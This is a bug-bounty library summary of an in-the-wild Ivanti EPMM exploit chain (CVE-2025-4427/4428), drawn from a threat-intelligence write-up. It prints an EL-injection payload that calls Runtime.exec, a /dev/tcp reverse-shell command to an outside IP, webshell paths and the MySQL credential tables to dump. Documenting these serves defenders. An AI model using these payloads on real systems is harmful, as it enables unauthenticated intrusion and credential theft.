# Ivanti EPMM RCE Vulnerability Chain Exploited in the Wild

Ivanti EPMM auth bypass plus EL injection in featureusage error messages yields unauthenticated RCE, exploited in the wild for webshells, MySQL dumps, and Sliver beacons.

- Payout: Real-world hack
- Severity: critical
- Program: Ivanti EPMM
- Credited: Wiz Research
- Disclosed: 2025-05-20
- CVE: CVE-2025-4427, CVE-2025-4428
- Write-up quality: 7/10
- Original: https://www.wiz.io/blog/ivanti-epmm-rce-vulnerability-chain-cve-2025-4427-cve-2025-4428
- Library page: https://bugbountylibrary.com/r/blog%3Awiz-io-blog-ivanti-epmm-rce-vulnerability-chain-cve-2025-4427-cve-2025-4428
- Tags: domain:web impact:data-leak impact:rce kind:incident platform:threat-intel sev:critical tech:java technique:chained technique:source-review vuln:auth-bypass vuln:rce

**Target:** Ivanti Endpoint Manager Mobile (EPMM) web appliance, /api/v2/featureusage and /rs/api/v2/featureusage endpoints
**Root cause:** CVE-2025-4428: user-controlled format parameter in DeviceFeatureUsageReportQueryRequestValidator is processed via Spring AbstractMessageSource, allowing EL injection in error messages. CVE-2025-4427: missing <intercept-url> rules expose /rs/api/v2/* routes unauthenticated, and validator logic runs before auth checks.
**Steps:**
1. Send unauthenticated request to `/mifs/rs/api/v2/featureusage?format=${...}` with an EL payload
2. Inject EL that resolves Runtime: `${"".getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('...')}`
3. For reverse shell: `exec('sh -i >& /dev/tcp/47.120.74.19/8080 0>&1')`
4. For persistence, write JSP webshell to plausible paths like `/mi/tomcat/webapps/mifs/session.jsp` or `css/css.css`
5. Dump MySQL tables `mifs_ldap_server_config`, `mifs_ldap_users`, `mi_user` from the mifs database
**How found:** Wiz Threat Research observed in-the-wild exploitation starting May 16, 2025, aligning with public PoC releases by watchTowr and ProjectDiscovery; watchTowr characterized CVE-2025-4427 as an order-of-operations flaw where validator logic executes before authentication checks.
**Exploitation:** Unauthenticated attacker hits the exposed /rs/api/v2/featureusage route with an EL payload in the format parameter, achieving command execution as the EPMM service. Post-exploitation observed: Sliver beacon deployment (C2 77.221.158.154), MySQL table dumping for credential harvesting, JSP webshells disguised as error pages (401.jsp, css.css, session.jsp, baseURL.jsp), and direct reverse bash shells that leave no file artifacts and bypass http access logs.
**Escalation:** Chained low/medium CVSS auth bypass (5.3) with post-auth RCE (7.2) into unauthenticated critical RCE; reused C2 infrastructure from prior PAN-OS campaigns, indicating cross-product actor.
**Insight:** When a framework runs validators/message resolution before the security filter chain, an unauthenticated route can reach a post-auth sink; check Spring Security <intercept-url> coverage against every route that touches message formatting or EL evaluation.